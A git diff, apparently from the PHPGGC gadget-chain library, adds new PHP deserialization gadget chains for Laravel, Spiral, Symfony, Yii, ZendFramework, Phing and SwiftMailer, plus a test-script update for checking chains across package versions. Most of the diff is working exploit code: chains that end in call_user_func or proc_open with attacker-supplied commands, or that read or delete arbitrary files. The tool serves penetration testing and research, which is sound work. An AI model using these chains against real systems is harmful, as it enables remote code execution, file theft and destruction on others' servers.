current($this->resolveServicesAndParameters([$definition['file']])); + require_once $file; + } + + if (isset($definition['factory'])) { + $factory = $definition['factory']; + if (is_array($factory)) { + $factory = $this->resolveServicesAndParameters([$factory[0], $factory[1]]); + } + elseif (!is_string($factory)) { + throw new RuntimeException(sprintf('Cannot create service "%s" because of invalid factory', $id)); + } + + $service = call_user_func_array($factory, $arguments); + } + else { + $class = $this->frozen ? $definition['class'] : current($this->resolveServicesAndParameters([$definition['class']])); + $service = new $class(...$arguments); + } + + if (!isset($definition['shared']) || $definition['shared'] !== FALSE) { + $this->services[$id] = $service; + } + + if (isset($definition['calls'])) { + foreach ($definition['calls'] as $call) { + $method = $call[0]; + $arguments = []; + if (!empty($call[1])) { + $arguments = $call[1]; + if ($arguments instanceof \stdClass) { + $arguments = $this->resolveServicesAndParameters($arguments); + } + } + call_user_func_array([$service, $method], $arguments); + } + } + + if (isset($definition['properties'])) { + if ($definition['properties'] instanceof \stdClass) { + $definition['properties'] = $this->resolveServicesAndParameters($definition['properties']); + } + foreach ($definition['properties'] as $key => $value) { + $service->{$key} = $value; + } + } + + if (isset($definition['configurator'])) { + $callable = $definition['configurator']; + if (is_array($callable)) { + $callable = $this->resolveServicesAndParameters($callable); + } + + if (!is_callable($callable)) { + throw new InvalidArgumentException(sprintf('The configurator for class "%s" is not a callable.', get_class($service))); + } + + call_user_func($callable, $service); + } + + return $service; + } + */ + } +} \ No newline at end of file diff --git a/gadgetchains/Laravel/RCE/12/chain.php b/gadgetchains/Laravel/RCE/12/chain.php new file mode 100644 index 0000000..7eeb74d --- /dev/null +++ b/gadgetchains/Laravel/RCE/12/chain.php @@ -0,0 +1,22 @@ +hasRecords = true; + //$this->rollbarNotifier = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel5.8.35 + $this->rollbarLogger = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel7.0.0 + } + } +} + +namespace Illuminate\Foundation\Support\Providers{ + class RouteServiceProvider{ + protected $app; + + function __construct($function,$paramter) + { + $this->app = new \Illuminate\View\Factory($function,$paramter); + } + } +} + +namespace Illuminate\View{ + class Factory{ + protected $finder; + + function __construct($function,$paramter) + { + $this->finder = new \Symfony\Component\Console\Application($function,$paramter); + } + + } +} + +namespace Symfony\Component\Console{ + class Application{ + private $initialized; + private $commands; + private $commandLoader; + + function __construct($function,$paramter) + { + $this->initialized = true; + $this->commandLoader = new \Illuminate\Cache\Repository($function,$paramter); + $this->commands = [new \Illuminate\Foundation\AliasLoader()]; + } + } +} + +namespace Illuminate\Foundation{ + class AliasLoader{ + protected $aliases; + + function __construct() + { + $this->aliases = ["key"]; + } + } +} + +namespace Illuminate\Cache{ + class Repository{ + protected $store; + + function __construct($function,$paramter) + { + $this->store = new \PhpOption\LazyOption($function,$paramter); + } + } +} + +namespace PhpOption{ + class LazyOption{ + private $option; + private $callback; + private $arguments; + + function __construct($function,$paramter) + { + $this->callback = $function; + $this->arguments = [$paramter]; + } + } +} diff --git a/gadgetchains/Phing/FD/1/chain.php b/gadgetchains/Phing/FD/1/chain.php new file mode 100644 index 0000000..195c3d6 --- /dev/null +++ b/gadgetchains/Phing/FD/1/chain.php @@ -0,0 +1,15 @@ +cookiesFile = $path; + } +} diff --git a/gadgetchains/Spiral/RCE/1/chain.php b/gadgetchains/Spiral/RCE/1/chain.php new file mode 100644 index 0000000..43ddb57 --- /dev/null +++ b/gadgetchains/Spiral/RCE/1/chain.php @@ -0,0 +1,18 @@ +dateFormat = "l"; + $this->mustRotate = true; + $this->filename = "anything"; + $this->filenameFormat = new \Spiral\Reactor\FileDeclaration($function,$param); + } + } +} + +namespace Spiral\Reactor +{ + class FileDeclaration + { + private $docComment; + + public function __construct($function,$parameter) + { + $this->docComment = new \PhpOption\LazyOption($function,$parameter); + } + } +} + +namespace PhpOption +{ + class LazyOption + { + private $callback; + private $arguments; + + public function __construct($function,$parameter) + { + $this->callback = $function; + $this->arguments = [$parameter]; + } + } +} \ No newline at end of file diff --git a/gadgetchains/Spiral/RCE/2/chain.php b/gadgetchains/Spiral/RCE/2/chain.php new file mode 100644 index 0000000..03c4616 --- /dev/null +++ b/gadgetchains/Spiral/RCE/2/chain.php @@ -0,0 +1,19 @@ +finalizer = new \Spiral\Boot\Finalizer($function,$param); + } + } +} + +namespace Spiral\Boot +{ + class Finalizer + { + private $finalizers; + + function __construct($function,$param) + { + $this->finalizers = [[new \PhpOption\LazyOption($function,$param),"get"]]; + } + } +} + +namespace PhpOption +{ + class LazyOption + { + private $callback; + private $arguments; + + public function __construct($function,$parameter) + { + $this->callback = $function; + $this->arguments = [$parameter]; + } + } +} \ No newline at end of file diff --git a/gadgetchains/SwiftMailer/FD/2/chain.php b/gadgetchains/SwiftMailer/FD/2/chain.php new file mode 100644 index 0000000..0bcbf53 --- /dev/null +++ b/gadgetchains/SwiftMailer/FD/2/chain.php @@ -0,0 +1,16 @@ +_cacheKey = $path_a[count($path_a) - 2]; + $pre_index = strripos($path, "/"); + $pre = substr($path, 0, $pre_index - strlen($this->_cacheKey) - 1); + + $this->_cache = new Swift_KeyCache_DiskKeyCache( + $pre, $path_a[count($path_a) - 2], $path_a[count($path_a) - 1] + ); + } +} + +class Swift_KeyCache_DiskKeyCache +{ + private $_path; + private $_keys; + + public function __construct($pre_path, $path, $filename) + { + $this->_path = $pre_path; + $this->_keys = [$path => [$filename => '']]; + } +} diff --git a/gadgetchains/SwiftMailer/FR/1/chain.php b/gadgetchains/SwiftMailer/FR/1/chain.php new file mode 100644 index 0000000..4a59dca --- /dev/null +++ b/gadgetchains/SwiftMailer/FR/1/chain.php @@ -0,0 +1,15 @@ +headers = new Swift_Mime_Headers_OpenDKIMHeader(); + $this->body = new Swift_ByteStream_FileByteStream($path); + $this->cache = new Swift_KeyCache_ArrayKeyCache(); + $this->encoder = new Swift_Mime_ContentEncoder_PlainContentEncoder(); + $this->cacheKey = "anykey"; + $this->maxLineLength = 100; + } +} + +class Swift_EmbeddedFile extends Swift_Mime_SimpleMimeEntity +{ + public function __construct($path) + { + parent::__construct($path); + } +} + +class Swift_Mime_Headers_OpenDKIMHeader +{ + private $fieldName; + + function __construct() + { + $this->fieldName = "any"; + } +} + +class Swift_KeyCache_ArrayKeyCache +{ +} + +class Swift_Mime_ContentEncoder_PlainContentEncoder +{ + private $canonical = true; +} + +class Swift_ByteStream_FileByteStream +{ + private $path; + + function __construct($path) + { + $this->path = $path; + } +} diff --git a/gadgetchains/Symfony/RCE/6/chain.php b/gadgetchains/Symfony/RCE/6/chain.php new file mode 100644 index 0000000..c64674c --- /dev/null +++ b/gadgetchains/Symfony/RCE/6/chain.php @@ -0,0 +1,20 @@ +parent = new \Symfony\Component\Cache\Traits\RedisProxy($cmd); + } + } +} + +namespace Symfony\Component\Cache\Traits +{ + class RedisProxy + { + private $initializer; + private $redis; + + function __construct($cmd) + { + $this->initializer = new \Symfony\Component\DependencyInjection\Loader\Configurator\InstanceofConfigurator($cmd); + $this->redis = $cmd; + } + } +} + +namespace Symfony\Component\DependencyInjection\Loader\Configurator +{ + class InstanceofConfigurator + { + protected $parent; + + function __construct($cmd) + { + $this->parent = new \Symfony\Component\Cache\Simple\Psr6Cache($cmd); + } + + } +} + +namespace Symfony\Component\Cache\Simple +{ + class Psr6Cache + { + private $pool; + + function __construct($cmd) + { + $this->pool = new \Symfony\Component\Cache\Adapter\PhpArrayAdapter($cmd); + } + + } +} + +namespace Symfony\Component\Cache\Adapter +{ + class PhpArrayAdapter + { + private $values; + private $createCacheItem; + + function __construct($cmd) + { + $this->values = array($cmd=>[]); + $this->createCacheItem = "proc_open"; + } + } +} \ No newline at end of file diff --git a/gadgetchains/Yii/RCE/2/chain.php b/gadgetchains/Yii/RCE/2/chain.php new file mode 100644 index 0000000..7f7c7e2 --- /dev/null +++ b/gadgetchains/Yii/RCE/2/chain.php @@ -0,0 +1,20 @@ +util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function); + $this->value = $parameter; + } + } +} + +namespace +{ + class WikiPublishTask + { + private $cookiesFile; + + function __construct($function, $parameter) + { + $this->cookiesFile = new \Prophecy\Argument\Token\ExactValueToken( + $function, $parameter + ); + } + } + + class PHPUnit_Extensions_Selenium2TestCase_Session + { + protected $commands; + protected $url; + protected $driver; + + function __construct($function) + { + $this->commands = ['stringify' => $function]; + $this->url = new PHPUnit_Extensions_Selenium2TestCase_URL(); + $this->driver = new DocBlox_Parallel_Worker(); + } + } + + class PHPUnit_Extensions_Selenium2TestCase_URL + { + } + + class DocBlox_Parallel_Worker + { + } +} diff --git a/gadgetchains/ZendFramework/RCE/5/chain.php b/gadgetchains/ZendFramework/RCE/5/chain.php new file mode 100644 index 0000000..6746a2d --- /dev/null +++ b/gadgetchains/ZendFramework/RCE/5/chain.php @@ -0,0 +1,18 @@ +eventHandles = [1]; + $this->events = new \Zend\View\Renderer\PhpRenderer($function, $param); + } + } +} + +namespace Zend\View\Renderer +{ + class PhpRenderer + { + private $__helpers; + + function __construct($function, $param) + { + $this->__helpers = new \Zend\Tag\Cloud\DecoratorPluginManager($function, $param); + } + } +} + +namespace Zend\Tag\Cloud +{ + class DecoratorPluginManager + { + protected $canonicalNames; + protected $invokableClasses; + protected $retrieveFromPeeringManagerFirst; + protected $initializers; + + function __construct($function, $param) + { + $this->canonicalNames = array("detach"=>"cname","cname"=>"any"); + $this->invokableClasses = array("cname"=>"Zend\Tag\Cloud\DecoratorPluginManager");//satisfying the class_exists + $this->retrieveFromPeeringManagerFirst = false; + $this->initializers = [new \Zend\Filter\FilterChain($function, $param)]; + } + } +} + +namespace Zend\Filter +{ + class FilterChain + { + protected $filters; + + function __construct($function, $param) + { + $this->filters = new \SplFixedArray(2); + $this->filters[0] = array( + new \Zend\Json\Expr($param), + "__toString" + ); + $this->filters[1] = $function; + } + } +} + +namespace Zend\Json +{ + class Expr + { + protected $expression; + + function __construct($param) + { + $this->expression = $param; + } + } +} diff --git a/lib/PHPGGC.php b/lib/PHPGGC.php index aeb8f16..99484a2 100644 --- a/lib/PHPGGC.php +++ b/lib/PHPGGC.php @@ -232,7 +232,7 @@ }, $classes); $gcs = array_combine($names, $classes); - ksort($gcs); + ksort($gcs, SORT_NATURAL); return $gcs; } diff --git a/test-gc-compatibility.py b/test-gc-compatibility.py index eab553e..ca58769 100755 --- a/test-gc-compatibility.py +++ b/test-gc-compatibility.py @@ -17,6 +17,26 @@ Dependencies: $ pip install rich + +Versions: + You can specify package version by adding a semicolon to the package name: + + # Tests version 1.6.0 and 1.6.3 + $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1 + + or with a range: + + # Tests from version 5.0.0 to 6.1.3 + $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1 + + If no upper or lower version is present, every version before (resp. after) + the specified one will be tested: + + # from doctrine 1.12.0 to the newest + $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1 + # from the first version of doctrine to 1.6.0 + $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1 + Credit goes to @M4yFly for the original idea and implementation. """ @@ -29,7 +49,6 @@ import tempfile import shutil - try: from rich import print except ImportError: @@ -58,7 +77,10 @@ for gc in self._gcs: self.ensure_gc_exists(gc) - versions = self._package.get_versions() + php_version = self._executor.php("--version")[0].split("\n")[0] + print(f"Running on PHP version " f"[blue]{php_version}[/blue]" f".") + + versions = self._package.get_target_versions() print( f"Testing {len(versions)} versions for " f"[blue]{self._package.name}[/blue] against " @@ -131,7 +153,41 @@ def setup_arguments(): parser = argparse.ArgumentParser( - description="Test PHPGGC gadget chains against every version of a composer package." + description="Test PHPGGC gadget chains against every version of a composer package.", + epilog="""\ +Example: + $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 + +Required executables: + The program requires phpggc and composer. + By default, it will use the `phpggc` from the current directory, and the + composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH` + and `COMPOSER_PATH` environment variables. + If a file cannot be ran straight up, we'll try using `php ` instead. + +Dependencies: + $ pip install rich + +Versions: + You can specify package version by adding a semicolon to the package name: + + # Tests version 1.6.0 and 1.6.3 + $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1 + + or with a range: + + # Tests from version 5.0.0 to 6.1.3 + $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1 + + If no upper or lower version is present, every version before (resp. after) + the specified one will be tested: + + # from doctrine 1.12.0 to the newest + $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1 + # from the first version of doctrine to 1.6.0 + $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1 +""", + formatter_class=argparse.RawTextHelpFormatter, ) parser.add_argument("package") parser.add_argument("gadget_chain", nargs="+") @@ -169,12 +225,10 @@ if path.exists(): php_file = str(path.absolute()) - php_binary = os.environ.get("PHP_BINARY", "php") - if self._try_run_command(php_file): return (php_file,) - elif path.exists() and self._try_run_command(php_binary, php_file): - return (php_binary, php_file) + elif path.exists() and self._try_run_command(self._php_path, php_file): + return (self._php_path, php_file) raise TesterException(f"Unable to run PHP file: {php_file}") def get_commands(self): @@ -188,6 +242,7 @@ if not pathlib.Path(phpggc).is_file(): raise TesterException("phpggc executable not found") + self._php_path = os.environ.get("PHP_BINARY", "php") self._phpggc = self._get_valid_run_command(phpggc) self._composer = self._get_valid_run_command(composer) @@ -206,20 +261,65 @@ """ return self._run(*self._phpggc, *args).returncode == 0 + def php(self, *args): + """Runs PHP with given arguments and returns whether the execution + was successful or not. + """ + process = self._run(self._php_path, *args) + return process.stdout.decode("utf-8"), process.stderr.decode("utf-8") + class Package: """Represents a composer package.""" def __init__(self, name, executor): - self.name = name + self.extract_name_versions(name) self._executor = executor self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix="phpggc")) - def get_versions(self): - """Uses composer to obtain each version (or tag) for the package.""" + def extract_name_versions(self, name): + if ":" not in name: + self.name = name + self.versions = None + else: + self.name, self.versions = name.split(":") + + def get_package_versions(self): versions, _ = self._executor.composer("show", "-a", self.name) versions = re.search(r"versions :(.*)\ntype", versions).group(1) return [v.strip() for v in versions.split(",")] + + def get_target_versions(self): + """Uses composer to obtain each version (or tag) for the package.""" + if self.versions is None: + return self.get_package_versions() + + package_versions = None + target_versions = [] + + def get_version_idx_or_raise(version): + try: + return package_versions.index(version) + except ValueError: + raise ValueError(f"Version {version} could not be found") + + for version in self.versions.split(","): + # range + if ".." in version: + vmin, vmax = version.split("..") + if package_versions is None: + package_versions = self.get_package_versions() + + vmin_idx = ( + get_version_idx_or_raise(vmin) if vmin else len(package_versions) + ) + vmax_idx = get_version_idx_or_raise(vmax) if vmax else 0 + # Versions are stored from biggest to smallest + target_versions += package_versions[vmax_idx : vmin_idx + 1] + else: + target_versions.append(version) + + return target_versions def clean_workdir(self, final=False): """Removes any composer related file in the working directory, such as @@ -235,7 +335,13 @@ """Uses composer to install a specific version of the package.""" self.clean_workdir() _, stderr = self._executor.composer( - "require", "-q", "--ignore-platform-reqs", f"{self.name}:{version}" + "require", + "--no-scripts", + "--no-interaction", + "--no-plugins", + "--quiet", + "--ignore-platform-req=ext-*", + f"{self.name}:{version}", ) if stderr: raise ValueError(f"Unable to install version: {version}")